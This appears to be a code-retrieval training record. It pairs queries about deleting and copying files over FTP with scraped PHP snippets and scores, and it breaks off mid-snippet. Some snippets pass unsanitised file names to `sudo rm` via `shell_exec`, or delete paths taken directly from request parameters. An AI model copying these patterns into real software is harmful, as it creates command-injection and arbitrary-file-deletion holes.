// Delete the ftp and return if it was a success
return $file->delete();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function unlink($file);",
"public function deleteFileFromServer($p_fileToRemove)\n {\n unlink($p_fileToRemove);\n }",
"private function removeUploadedFile()\n {\n if(!isset($_REQUEST['file']))\n {\n exit; \n }\n \n list($file, $src, $size) = explode(':', $_REQUEST['file']);\n \n if(file_exists($src))\n {\n @unlink($src);\n }\n exit;\n }",
"protected function removeFile()\n {\n if (@is_file($this->getFilePath())) {\n @unlink($this->getFilePath());\n }\n }",
"public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }",
"public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}",
"function deleteFromServer ($fileName) {\n\n\t// Save the current directory\n\t$old = getcwd(); \n // Changing to correct dir\n chdir(\"../../uploads\"); \n // Removing file\n unlink($fileName);\n // Restore the old working directory \n chdir($old); \n}",
"public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }",
"public function removeFile($file)\n {\n $this->filesystem->remove($file);\n }",
"public function file_delete($filename);",
"public function removeFile($path)\n { $path = $this->_bucket . '/' . $path;\n $this->_internalService->removeObject($path);\n }",
"public function delete($filename);",
"public function DeleteFile()\r\n\t{\r\n\t\t$queryDeleteFile = \"UPDATE files SET status=\\\"DELETED\\\" WHERE file_id=\".$this->fileId;\r\n\t\t$this->sqlDataBase->nonSelectQuery($queryDeleteFile);\r\n\t\tunlink(UPLOAD_PATH. DIRECTORY_SEPARATOR .$this->fileId);\r\n\t}",
"public function remove($path);",
"public static function deleteFile($file){\n\t\t\t//@-> PARA N MOSTRAR ALGUM TIPO DE AVISO\n\t\t\t@unlink('uploads/'.$file);\n\t\t}",
"public function delete_local_file()\n\t{\n\t\tif(file_exists($this->local_file)) {\n\t\t\t$this->upload_local_file();\n\t\t\tunlink($this->local_file);\n\t\t}\n\t\t$this->local_file = null;\n\t}",
"public function delete($filepath);",
"public static function deleteFile($file)\n {\n @unlink('uploads/'.$file);\n }",
"private function delete_file($file){\n\t\t$fileLink = fopen($file,'w');\n\t\tfclose($fileLink);\n\t\tunlink($file);\n\t}",
"function deleteFile() {\r\n\t\tif (file_exists($this->data[$this->alias]['path'])) {\r\n\t\t\tunlink($this->data[$this->alias]['path']);\r\n\t\t}\r\n\t}",
"public function delete($file) {\n\t}",
"public function delete_file(){\n unlink('/opt/lampp/htdocs/specijalisticki_rad/uploaded_images/'.$this->name);\n\n }",
"private function deleteFileRecord($fileName) {\n /** @var URLRequest $record */\n $record = URLRequest::where('fileName', $fileName)->first();\n shell_exec('cd /Stream && sudo rm ' . $record->fileName);//Remove the file from the /Stream directory.\n $record->delete(); //Delete $record from the database.\n }",
"public function removeFile(File $file)\n {\n $this->files->removeElement($file);\n }",
"public function rm($server_file)\n\t{\n\t\tif (is_resource($this->_sftp) == FALSE)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\t$server_file = (substr($server_file, 0, 1) != '/') ? ('/'.$server_file) : ($server_file);\n\t\tif (file_exists('ssh2.sftp://'.$this->_sftp.$server_file) == FALSE)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\tif (is_file('ssh2.sftp://'.$this->_sftp.$server_file))\n\t\t{\n\t\t\treturn unlink('ssh2.sftp://'.$this->_sftp.$server_file);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn rmdir('ssh2.sftp://'.$this->_sftp.$server_file);\n\t\t}\n\t}",
"function fileRemove($fileId){\n\tinclude '../../database.php';\n\n\t$stmt = $conn->prepare(\"SELECT * FROM file WHERE file_id=?\");\n\t$stmt->execute(array($fileId));\n\t$filelocation = $stmt->fetch(PDO::FETCH_ASSOC);\n\t$filelocation = $_SERVER[\"DOCUMENT_ROOT\"] . $filelocation;\n\n\tunlink($filelocation);\n\n\t$stmt = $conn->prepare(\"DELETE FROM file WHERE file_id=?\");\n\t$stmt->execute(array($fileId));\n}",
"function delFile($path)\n {\n unlink($this->dir . DIRECTORY_SEPARATOR . $path);\n }",
"protected function removeFilename($filename){@unlink($filename);}",
"function fileDelete(){\n\t\t$result = mysql_query(getFile($_GET['file']));\n\t\tif($row = mysql_fetch_assoc($result)) {\n\t\t\tgetFileGlobals($row);\n\t\t\tmysql_query(deleteObject($GLOBALS['objectId']));\n\t\t\tmysql_query(deleteFile($GLOBALS['fileId']));\n\t\t\tdie();\n\t\t}\n\t\theader('Location:' . fullURL(getLangVar(\"filesURL\")));\n\t}",
"public function deleteAsset($path_to_file)\n\t{\n\t\t$path_to_file = rawurlencode(urldecode($path_to_file));\n\t\t\n\t\t$url = \"http://{$this->wnServer}/webnative/portalDI?action=filemgr&filemgraction=delete&filename=\".$path_to_file;\n\t\t$result = json_decode($this->curlObj->fetch_url($url),true);\n \n\t\treturn $result[\"MSG\"];\n\t}",
"public function actionRemove() {\n if (!isset($_POST['id']))\n die(\"what?\");\n $id = (int) $_POST['id'];\n if ($id < 1)\n die(\"unknown file\");\n CUserfiles::model()->RemoveFile($this->user_id, $id);\n\n echo \"OK\";\n }",
"public function deleteDownloadFile()\r\n\t{\r\n\t\t@unlink($this->reference);\r\n\t}",
"public static function deleteFile ($path) {\n\t\t\\unlink($path);\n\t}",
"public function removeFile(Request $request) {\n\n\t\tif ( request()->has('file') ) {\n\n\t\t\t$uploadDir = 'albums/' . auth()->user()->id . '/' . request('album_month') . '/';\n $file = storage_path('app/public/') . $uploadDir . str_replace(array('/', '\\\\'), '', request('file'));\n echo $file;\n\n\t\t\tif(file_exists($file))\n\t\t\t\tunlink($file);\n\t\t}\n\t\texit;\n }",
"static public function deleteFile($file = false) {\n\n if ($file)\n unlink($file);\n else\n unlink($this->filePath);\n }",
"public function clear()\n {\n unlink($this->file);\n }",
"function delete_file($file) {\n\treturn @unlink($file);\n}",
"public function delete($file)\n {\n $file = $this->getFilePath($file);\n\n if (file_exists($file)) {\n unlink($file);\n }\n }",
"public function delete_file(){\n if($this->file_name != 'sample.jpg'){\n unlink($this->dir_location . $this->file_name);\n }\n }",
"protected function deleteProtocolFile() {}",
"public function testSendUnlinked(): void\n {\n $file = microtime(true) . 'txt';\n $path = TMP . $file;\n file_put_contents($path, 'testing unlink');\n\n $this->get(\"/posts/file?file={$file}\");\n $this->assertResponseOk();\n $this->assertFileResponse($path);\n $this->assertFileExists($path);\n system(\"rm -rf {$path}\");\n $this->assertFileDoesNotExist($path);\n }",
"protected function deleteFile($file)\n {\n $oldFile = trim($file, config('app.url'));\n Storage::delete('public/' . $oldFile);\n }",
"protected function deleteFile($file) {\n if (file_exists($file)) {\n unlink($file);\n $this->log(\"Deleted the file \".$file);\n } else {\n $this->log(\"Could not delete file \".$file.\". File not found.\");\n }\n }",
"public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }",
"public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }",
"public function remove() {\n $f = new File(self::CONFIG_FILE_PATH);\n $f->remove();\n }",
"function delete_site_file($file_id) {\n\t$this->session->keep_flashdata($this->back_url_key);\n\tif (strlen(trim($this->back_url)) <= 0 || $this->back_url == NULL) {\n\t\t$this->back_url = $this->home_url;\n\t}\n\t$file_data = $this->backup->delete_site_file($file_id);\n\tif ($file_data !== NULL) {\n\t\t$file = $file_data->backup_location . $file_data->backup_name;\n\t\tif (file_exists($file)) {\n\t\t\tunlink($file);\n\t\t}\n\t}\n\tredirect($this->back_url);\n}",
"private function removeEntrada($filePath){\n \\Storage::delete($filePath);\n }",
"public function deleteFile($path) {\n \n if($path != null) {\n unlink($path);\n }\n }",
"public function destroy(File $file)\n {\n //\n }",
"public function destroy(File $file)\n {\n //\n }",
"public function destroy(File $file)\n {\n //\n }",
"function deleteFile($fileID){\r\n\t\tglobal $file_upload_folder;\r\n\t\t\r\n\t\t// IMPORTANT: Permission checking is currently not done here. It is done by the web gui. \r\n\t\t// Links to delete files only show up when userCanDeleteFile() returns true.\r\n\t\t// This is something to keep in mind for future pansophy versions.\r\n\t\t\r\n\t\t// delete file from server\r\n\t\tif(file_exists($file_upload_folder.$fileID)){\r\n\t\t\tif(unlink($file_upload_folder.$fileID)){\t\r\n\t\t\t\t// delete references of file from database\r\n\t\t\t\t$query = \"DELETE FROM `attachments` WHERE ID='\".$fileID.\"'\";\r\n\t\t\t\treturn mysql_query( $query );\r\n\t\t\t}\r\n\t\t}\r\n\t}",
"protected function removeOldFile(): void\n {\n // delete the old file\n $oldFile = $this->getUploadRootDir() . '/' . $this->oldFileName;\n if (is_file($oldFile) && file_exists($oldFile)) {\n unlink($oldFile);\n }\n\n $this->oldFileName = null;\n }",
"public function removeFile($fileName) {\n\n try {\n $this->deleteFileRecord($fileName);\n shell_exec('sudo rm /Stream/\"' . $fileName . '\"');\n } catch (\\Exception $exception) {\n throw new \\Exception($exception);\n }\n\n }",
"public function deleteFile($file)\n {\n if (!$this->filesystem->has($file)) {\n return;\n }\n\n $this->filesystem->delete($file);\n $this->cacheManager->remove($file);\n }",
"function ajaxdeletefile($filename = null){\n\n\t\t$filename = base64_decode(urldecode($filename));\n\n\t\t//Delete uploaddir\n\t\tif(file_exists($this->uploaddir.$filename)){\n\t\t\tunlink($this->uploaddir.$filename);\n\t\t}\n\n\t\t//Delete torrent\n\t\tif(file_exists($this->torrentdir.$filename.'.torrent')){\n\t\t\tunlink($this->torrentdir.$filename.'.torrent');\n\t\t}\n\n\t\t//Delete from DB\n\t\t$this->Torrent->deleteAll(array('name'=>$filename));\n\n\t\t$this->autoRender = false; //Dont render view. Complete action will update screen\n\t}",
"public function deleteAction() {\n $fileID = (int) $this->params()->fromRoute('id', 0);\n $request = $this->getRequest();\n\n if ($fileID and $request->isXmlHttpRequest()) {\n try {\n\n $file = $this->getFileTable()->getFile($fileID);\n $filePath = $this->getOptions()->getUploadFolderPath() . '/' . $file->url;\n\n if (file_exists($filePath)) {\n if (!unlink($filePath)) {\n throw new \\Exception('Could not delete file');\n }\n }\n\n $this->getFileTable()->deleteFile($fileID);\n\n echo json_encode(array('state' => true));\n exit();\n } catch (\\Exception $e) {\n echo json_encode(array('state' => false));\n exit();\n }\n }\n }",
"private function deleteTempFile() {\n if ($this->datastreamInfo['content']['type'] == 'file' && $this->copied == TRUE) {\n unlink($this->datastreamInfo['content']['content']);\n }\n }",
"function unlink_file($bean_id,$file_name) {\n\t\tglobal $log, $root_directory, $upload_dir;\n\t\t$log->debug(\"Entering unlink_file(\".$bean_id.\",\".$file_name.\") method ...\");\n\t\t$log->debug(\"Exiting unlink_file method ...\");\n\t\treturn unlink($root_directory.\"/\".$upload_dir.$bean_id.$file_name);\n\t}",
"function removeFile($file)\r\n\t{\r\n\t\tif( is_a( $file, 'File' ) )\r\n\t\t{\r\n\t\t\t$index = $this->searchFile( $file->getName( ) );\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$index = $this->searchFile( $file );\r\n\t\t}\r\n\r\n\t\tif($index >= 0)\r\n\t\t\treturn $this->filesCollection->remove( $index );\r\n\r\n\t\treturn null;\r\n\t}",
"function file_delete($route) {\n\tif (file_exists($route)) {\n\t\tunlink($route);\n\t}\n}",
"public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }",
"function DeleteFile()\n{\n\t$sFileUrl = '';\n\t\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t\n\t$sFileUrl = $_REQUEST['file-path']; \n\t\n\tif(file_exists($sFileUrl) === false)\n\t{\n\t\techo '<fail>file not exist</fail>';\n\t\treturn;\n\t}\n\t\n\t\n\t$bIsFileDelete = false; \n\t\n\tif(is_dir($sFileUrl) === true)\n\t{\n\t\t$bIsFileDelete = UnlinkRecursive($sFileUrl);\n\t} else\n\t{\n\t\t$bIsFileDelete = unlink($sFileUrl);\n\t}\n\t\n\tif($bIsFileDelete === true)\n\t{\n\t\tif(file_exists($sFileUrl) === false)\n\t\t{\n\t\t\techo '<correct>correct delete file</correct>';\n\t\t}\n\t} else\n\t{\n\t\techo '<fail>cant delete file</fail>';\n\t}\n\t\n\treturn;\n}",
"public function destroy(File $file)\n {\n\n\n $fileName = $file->file_name;\n $file->delete();\n Storage::disk('public')->delete([$fileName, '/thumb/'.$fileName]);\n\n return redirect( route('files.index') );\n }",
"public function deleteFile( $path )\n {\n return unlink( $path );\n }",
"abstract function delete_file($filepath);",
"function delete($path);",
"public function delete($filename){\n\t\t$file = $this->$dirname.'/'.$filename;\n\t\tif (file_exists($file)){\n\t\t\tunlink($file);\t\t\t\n\t\t}\n\t}",
"public function delete($path);",
"public function delete($path);",
"public function deleteFile(){\n\t\t$db = $this->db;\n\t\t$id = $_GET[\"id\"];\n\t\t\n\t\t$file = $db->fetchRow($db->select()->from(array(\"tbf\"=>\"tb_applicant_files\"))->where(\"id = ?\", $id));\n\t\tif ($file){\n\t\t\tif ($file[\"userid\"]!=$_SESSION[\"userid\"]){\n\t\t\t\treturn array(\"success\"=>false);\n\t\t\t}\n\t\t\t//$db->delete(\"tb_applicant_files\", $db->quoteInto(\"id = ?\", $id));\n\t\t\t$db->update(\"tb_applicant_files\", array(\"is_deleted\" => 1), $db->quoteInto(\"id = ?\", $id));\n $db->delete(\"solr_candidates\", $db -> quoteInto(\"userid=?\",$_SESSION[\"userid\"]));\n\t\t\t\n\t\t\tglobal $base_api_url;\n\t\t\t\n\t\t\tfile_get_contents($base_api_url . \"/solr-index/sync-candidates/\");\n\t\t\t\n\t\t\tif (file_exists(getcwd().\"/../applicants_files/\".$file[\"name\"])){\n\t\t\t\tunlink(getcwd().\"/../applicants_files/\".$file[\"name\"]);\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tfile_get_contents($base_api_url . \"/mongo-index/sync-candidates-files/?userid=\" . $_SESSION[\"userid\"]);\n\t\t\t\n\t\t\t\n\t\t\treturn array(\"success\"=>true);\n\t\t}else{\n\t\t\treturn array(\"success\"=>false);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t}",
"private function _deleteFile($fileResource)\n {\n $store = $this->_owApp->erfurt->getStore();\n\n // remove file from file system (silently)\n $pathHashed = $this->getFullPath($fileResource);\n if (is_readable($pathHashed)) {\n unlink($pathHashed);\n }\n\n // remove all statements from sysconfig\n $store->deleteMatchingStatements(\n (string)$this->_getConfigModelUri(),\n $fileResource,\n null,\n null\n );\n }",
"protected function delete($path) \n\t{\n\t $path = $this->absolutePath($path);\n\t \n\t if (file_exists($path))\n\t {\n\t unlink($path);\n\t $this->log(\"File $path deleted.\");\n\t }\n\t else\n\t {\n\t $this->log(\"File $path not found.\");\n\t }\n\t}",
"public function destroy(File $file)\n {\n $url=str_replace('storage','public',$file->url);\n Storage::delete($url);\n\n $file->delete();\n return redirect()->route('admin.files.index');\n }",
"public function ajaxDeleteFile(Request $request) {\n $data = $request->all();\n $file = LMSFile::find($data['id']);\n unlink(storage_path() . '/lms/' . $file->hash);\n //Deletes the db object\n $file->delete();\n echo 'ok';\n }",
"public function deleted(File $file)\n {\n media()->delete($file->filename);\n }",
"protected function removeFiles() {}",
"public function destroy($file)\n {\n Storage::delete('private/'.$file);\n return response()->json([\n 'message' => 'Archivo eliminado'\n ],200);\n }",
"public static function remove_file( $path ) {\n\t\t\tself::call_wp_file_system();\n\t\t\tglobal $wp_filesystem;\n\n\t\t\t$wp_filesystem->delete( $path );\n\n\t\t\treturn true;\n\t\t}",
"function file_delete($file,$path)\n{\n\tif(unlink($path.\"/\".$file))\n\t{\n\t\treturn true;\n\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n}",
"public function Remove()\n {\n $file = __DIR__ . \\Extensions\\PHPImageWorkshop\\ImageWorkshop::UPLOAD_PATH . \"/banners/\" . $this->getSrc();\n if (file_exists($file)) {\n unlink($file);\n }\n parent::Remove();\n }",
"private function _deleteFile($file)\n {\n $this->_files[basename($file)]->delete();\n unset($this->_files[basename($file)]);\n $this->_prune();\n }",
"function _delete_photo($file){\n\t\t@unlink('web/upload/'.image_small($file));\n\t\t@unlink('web/upload/'.image_large($file));\n\t}",
"public function deleteFile($file = null)\n {\n $file = isset($file) ? $file : $this->uploadedFilePath;\n\n // check if file exists on server\n if (!empty($file) && file_exists($file)) {\n // check if uploaded file can be deleted on server\n if (!unlink($file)) {\n return false;\n }\n }\n\n $dir = dirname($file);\n if (is_dir($dir) && (count(glob(\"$dir/*\")) === 0) && !rmdir($dir)) {\n return false;\n }\n\n // if deletion successful, reset your file attributes\n $this->filename = $this->filepath = $this->filemime = $this->filesize = null;\n\n return true;\n }",
"public function destroy(\\App\\File $file)\n {\n // delete local file\n Storage::delete($file->path);\n // delete row from DB\n $file->delete();\n // return response\n return response()->json([\n 'message' => 'File : '.$file->id.' deleted '\n ],200);\n }",
"function configurationDeleteFile($fileToDelete){\n\n\t\tif (file_exists($_SERVER['DOCUMENT_ROOT'].'/uploads/' . $fileToDelete))\n\t\t\t{\n\t\t\tunlink($_SERVER['DOCUMENT_ROOT'].'/uploads/' . $fileToDelete);\n\t\t\t}\t\t\t\t\n\t}",
"function delete_file($file) {\n return @unlink($file);\n}",
"public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }",
"public function delete($id)\n\t{\n\n\t\t $document = Efile::where('id',$id)->first();\n //delete the file from the server\n\n // Storage::delete($document->path);\n $storagePath = Storage::disk('public')->getDriver()->getAdapter()->getPathPrefix();\n\t\tif(file_exists($storagePath.$document->path)){\n\t\t unlink($storagePath.$document->path);\n\t\t}\n\t\t\n $document->delete($id);\n\n\t}",
"public function delete(): void\n {\n unlink($this->path);\n }",
"function cemhub_delete_file($file_name) {\n $successfully_deleted = FALSE;\n\n $file_details = cemhub_retrieve_file_details($file_name);\n if (!empty($file_details)) {\n $successfully_deleted = file_delete($file_details, TRUE);\n }\n else {\n $repository_path = cemhub_get_files_repository_path(TRUE);\n $successfully_deleted = file_unmanaged_delete($repository_path . '/' . $file_name);\n }\n\n if ($successfully_deleted) {\n watchdog('cemhub', 'The file \"' . $file_name . '\" was deleted successfully.');\n }\n else {\n watchdog('cemhub', 'It was not possible to delete file \"' . $file_name . '\", checks the Drupal file log to view more details.');\n }\n\n return $successfully_deleted;\n}",
"public function remove($file_to_be_deleted)\n {\n $this->post('/path/oper/remove/', array('path' => $file_to_be_deleted));\n return $this;\n\n }",
"function deleteFile($hash);",
"public function delete($file){\n\t\t\n\t\t//If the users file exists try to delete it\n\t\tif(file_exists($file))\n\t\t{\n\t\t\tunlink($file) or die($this->openFile(\"core/fragments/errors/error34.phtml\"));\n\t\t}\n\t}",
"private function removeFile($fid) {\n // Load and delete old file.\n $file = File::load($fid);\n \\Drupal::service('file.usage')->delete($file, 'itkore_admin', 'user', '1', '1');\n }",
"public function remove($filePath){\n return Storage::delete($filePath);\n }",
"function delete_s2sfu_file( $post_id ) {\n\n\t$filename = get_post_meta( $post_id, '_wp_attached_file', true );\n\t@unlink( ABSPATH . 'wp-content/plugins/s2member-files/' . $filename );\n\t\n}",
"function removeHard()\r\n\t{\r\n\t\t$dbh = $this->dbh;\r\n\r\n\t\t$userid = ($this->user) ? $this->user->id : $this->owner_id;\r\n\r\n\t\tUserFilesRemoveFile($dbh, $this->id, $userid, false, true);\r\n\t}",
"public function delete($path)\n {\n if (!Storage::delete($path))\n {\n abort(500, 'Não foi possível deletar o arquivo.');\n }\n }",
"public function deleteFile($file)\n {\n $this->getParent(explode('/', dirname($file)))->_deleteFile($file);\n }"
] | [
"0.77178913",
"0.7694743",
"0.7617161",
"0.7522785",
"0.74587387",
"0.7381393",
"0.73021847",
"0.72959185",
"0.7174298",
"0.7103522",
"0.70660615",
"0.70422864",
"0.70172966",
"0.6990559",
"0.69685185",
"0.69534713",
"0.6918638",
"0.69174147",
"0.68938863",
"0.68820894",
"0.68542373",
"0.68537945",
"0.6829145",
"0.6824637",
"0.68128043",
"0.68105984",
"0.679104",
"0.6758637",
"0.6745279",
"0.6739201",
"0.67267215",
"0.6696808",
"0.66892505",
"0.667942",
"0.6606559",
"0.66005903",
"0.65922785",
"0.6587427",
"0.6581991",
"0.656609",
"0.6550655",
"0.6543907",
"0.65265745",
"0.65116477",
"0.6509631",
"0.6499745",
"0.6493222",
"0.6480362",
"0.64730394",
"0.6472386",
"0.6472386",
"0.6472386",
"0.64717597",
"0.6463391",
"0.6459063",
"0.6458116",
"0.6457898",
"0.6454383",
"0.644159",
"0.6440938",
"0.6434869",
"0.64293087",
"0.64253217",
"0.6396365",
"0.63959974",
"0.6385011",
"0.63833225",
"0.6378857",
"0.6374536",
"0.63637704",
"0.63637704",
"0.6363735",
"0.63621986",
"0.63498986",
"0.6341388",
"0.63319963",
"0.632324",
"0.6311576",
"0.63104725",
"0.6299699",
"0.62934166",
"0.6284496",
"0.62796706",
"0.6278358",
"0.62606466",
"0.6255166",
"0.62469393",
"0.62393904",
"0.6236783",
"0.6232647",
"0.62226135",
"0.6212877",
"0.621114",
"0.6211103",
"0.62041926",
"0.6202253",
"0.6184034",
"0.6182386",
"0.6178952",
"0.6175507",
"0.61746705"
] | 0.0 | -1 |
Copy a file on the server (with the possibility of renaming it and the file extension) | public function copyFile($sourceFileName, $sourceFileExtension = 'file', $sourceIsImage = false, $sourcePath = null,
$destFileName, $destFileExtension = 'file', $destIsImage = false, $destPath = null)
{
// If the newpath was not given
if($destPath == null)
{
$destPath = $sourcePath;
}
// Create a correct path (where the file is at first)
$sourceFilePath = FileComponent::createFilePath($sourcePath, $sourceFileName, $sourceFileExtension, $sourceIsImage);
// Create a correct path (where the file should be placed)
$destFilePath = FileComponent::createFilePath($destPath, $destFileName, $destFileExtension, $destIsImage);
// Instanciate the file on the ftp
$sourceFile = new File($sourceFilePath);
// Copy the file to the new path on the ftp
$sourceFile->copy($destFilePath);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function copy($file, $new_file);",
"function rex_com_mediaccess_copyfile($file, $source, $target)\n{\n global $REX;\n\n if(!rex_is_writable($target))\n {\n echo rex_warning('Keine Schreibrechte für das Verzeichnis \"'.$target.'\" !');\n return false;\n }\n\n if(!is_file($source.$file))\n {\n echo rex_warning('Datei \"'.$source.$file.'\" ist nicht vorhanden und kann nicht kopiert werden!');\n return false;\n }\n\n if(is_file($target.$file))\n {\n if(!rename($target.$file,$target.date(\"d.m.y_H.i.s_\").$file))\n {\n echo rex_warning('Datei \"'.$target.$file.'\" konnte nicht umbenannt werden!');\n return false;\n }\n }\n\n if(!copy($source.$file,$target.$file))\n {\n echo rex_warning('Datei \"'.$target.$file.'\" konnte nicht geschrieben werden!');\n return false;\n }\n\n if(!chmod($target.$file,$REX['FILEPERM']))\n {\n echo rex_warning('Rechte für \"'.$target.$file.'\" konnten nicht gesetzt werden!');\n return false;\n }\n\n echo rex_info('Datei \"'.$target.$file.'\" wurde erfolgreich angelegt.');\n return true;\n}",
"function copy_fichier($file, $path) {\n\t\t if (!$id_erreur=copy(\"vide.htm\", $path . $file . \".htm\")) echo(\"Erreur d'ouverture du fichier\");\n\t\t else return(1);\n}",
"abstract public function copyLocalFile($from, $to);",
"public static function copyFile($src, $dst) {\n\t\t$Src = new File($src);\n\t\tApp::uses('File', 'Utility');\n\n\t\t$success = $Src->copy($dst, true);\n\t\tif (!$success) {\n\t\t\tEasyLog::error($Src->errors());\n\t\t}\n\t\tself::dispatchAfterUpload($dst);\n\t\treturn $success;\n\t}",
"function tep_copy_uploaded_file($filename, $target) {\n if (substr($target, -1) != '/') $target .= '/';\n\n $target .= $filename['name'];\n //if (!file_exists($target)) {\n //@mkdir($target);\n //@chmod($target, 0777);\n //}\n move_uploaded_file($filename['tmp_name'], $target);\n chmod($target, 0666);\n}",
"public function copy($path, $target)\n {\n \n }",
"function move_upload_file($srcfile, $destfile) {\n\t//if(IN_SAE) return copy($srcfile, $destfile);\n\t//$r = move_uploaded_file($srcfile, $destfile);\n\t$r = copy($srcfile, $destfile);\n\treturn $r;\n}",
"function move_uploaded_file($filename, $destination)\n{\n return copy($filename, $destination);\n}",
"function copy_file($url_origem, $arquivo_destino){\r\n\t$minha_curl = curl_init($url_origem);\r\n\t$fs_arquivo = fopen($arquivo_destino, \"w\");\r\n\tcurl_setopt($minha_curl, CURLOPT_FILE, $fs_arquivo);\r\n\tcurl_setopt($minha_curl, CURLOPT_HEADER, 0);\r\n\tcurl_exec($minha_curl);\r\n\tcurl_close($minha_curl);\r\n\treturn fclose($fs_arquivo);\r\n}",
"function file_copy_to_folder($source_file, $destination_folder, $filename)\n{\n $arrext = explode('.', $source_file['name']);\n $jml = count($arrext) - 1;\n $ext = $arrext[$jml];\n $ext = strtolower($ext);\n $ret = false;\n if (!is_dir($destination_folder)) {\n mkdir($destination_folder, 0755);\n }\n $destination_folder .= $filename . '.' . $ext;\n\n if (@move_uploaded_file($source_file['tmp_name'], $destination_folder)) {\n $ret = $filename . \".\" . $ext;\n }\n return $ret;\n}",
"public function copyFile( $source, $destination )\n {\n return copy( $source, $destination );\n }",
"function upload_file($src, $dest){\t\n\t\tif(!empty($src)){\t\t\t\n\t\t\t// copy the file to the image path\t\t\t\n\t\t\tif(!copy($src, $dest)){\n\t\t\t\techo 'failed to copy the file';\n\t\t\t}else{\t\t\t\t\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t}\n\t}",
"function copyFileToLocal($fileid){\n#set target path for storing audio files on the server\n$audio_upload_path = \"/home/dingz/dataset/audiofiles/0/\" .$fileid. \".wav\";\n#get and store uploaded audio files on the server\nif(copy($_FILES['uploadedfile']['tmp_name'], $audio_upload_path)) {\n #echo \"File uploaded!\\n\";\n return TRUE;\n} else{\n echo \"There was an error uploading the file...\\nThe developer is notified with this problem. Sorry for the inconvenience!\\n\";\n #error_log(\"Attendance System:\\nVerification: Uploading file failed!\", 1, \"[email protected]\");\n\treturn FALSE;\n}\n}",
"public function copy($path, $newpath)\n {\n }",
"function DNUI_copy($source, $dest) {\r\n if (file_exists($source)) {\r\n return copy($source, $dest);\r\n }else{\r\n return false;\r\n }\r\n}",
"public static function copy($_path, $_target)\r\n {\r\n return copy($_path, $_target);\r\n }",
"public function copyPath($filePath, $newPath);",
"public static function copyFile(string $source, string $dest)\n {\n $dir = dirname($dest);\n if (!is_dir($dir)) {\n mkdir($dir, 0700, true);\n }\n copy($source, $dest);\n }",
"function duplicate_file($old_id, $new_id, $file_name)\n\t{\n\t\tglobal $log, $root_directory, $upload_dir;\n\t\t$log->debug(\"Entering duplicate_file(\".$old_id.\", \".$new_id.\", \".$file_name.\") method ...\");\n\t\t$source = $root_directory.'/'.$upload_dir.$old_id.$file_name;\n\t\t$destination = $root_directory.'/'.$upload_dir.$new_id.$file_name;\n\t\tcopy( $source,$destination);\n\t\t$log->debug(\"Exiting duplicate_file method ...\");\n\t}",
"public function copyOtherFiles(): void;",
"public function copy($source, $destination);",
"static public function copy($src, $dst) \n {\n if (is_file($src)) {\n if (!file_exists($f = dirname($dst))) {\n mkdir($f, 0775, true);\n @chmod($f, 0775); // let @, if www-data is not owner but allowed to write\n }\n copy($src, $dst);\n return;\n }\n if (is_dir($src)) {\n $src = rtrim($src, '/');\n $dst = rtrim($dst, '/');\n if (!file_exists($dst)) {\n mkdir($dst, 0775, true);\n @chmod($dst, 0775); // let @, if www-data is not owner but allowed to write\n }\n $handle = opendir($src);\n while (false !== ($entry = readdir($handle))) {\n if ($entry[0] == '.') continue;\n self::copy($src . '/' . $entry, $dst . '/' . $entry);\n }\n closedir($handle);\n }\n }",
"public static function copy_file($copyFrom, $copyTo) {\n\t\t$fileFrom = $copyFrom;\n\t\t$fileTo = $copyTo;\n\t\tif (copy($fileFrom, $fileTo)) {\n\t\t\tif (self::findServerOS() == 'LINUX') {\n\t\t\t\t$perms = file_perms($fileTo);\n\t\t\t\tif ( $perms != '0644') {\n\t\t\t\t\t@chmod($fileTo, 0644);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}",
"private function copyServerFile($src, $des){\n /* \n if(ftp_chdir($this->conn, $src)){\n $rawList = ftp_nlist($conn, \".\"); \n if (!in_array($destDir, $rawList)) \n { \n ftp_mkdir($conn, $destDir); \n //@ftp_chmod($conn, 0777, $image_dir); \n }\n }\n \n $files = ftp_nlist($this->ftp_conn, $path);\n foreach ($files as $file)\n {\n $this->delete($path.'/'.$file);\n }\n return $this->delete($path);\n\n $srcDir = $this->fieldarray['sourceItemId']; \n $destDir = $this->fieldarray['itemId']; \n $localDir = PUBLIC_PATH . 'photos/' . $this->fieldarray['imageType'] . '/original/' . $this->fieldarray['itemId']; \n \n if ($conn = ftp_connect(PHOTO_SERVER)) \n { \n if (ftp_login($conn, PHOTO_SERVER_USER, PHOTO_SERVER_PW)) \n { \n ftp_pasv($conn, true); \n if (ftp_chdir($conn, PHOTO_SERVER_UPLOAD_DIR)) \n { \n $rawList = ftp_nlist($conn, \".\"); \n if (!in_array($destDir, $rawList)) \n { \n ftp_mkdir($conn, $destDir); \n //@ftp_chmod($conn, 0777, $image_dir); \n } \n \n $files = ftp_nlist($conn, $srcDir); \n foreach ($files as $file) \n { \n if ($file != \".\" && $file != \"..\") \n { \n $srcFile = PHOTO_SERVER_FTP_GET_SRC_DIR . '/' . $srcDir . '/' . $file; \n $localFile = $localDir . '/' . $file; \n \n if (ftp_get($conn, $localFile, $srcFile, FTP_BINARY)) \n { \n $upload = ftp_put($conn, $destDir . 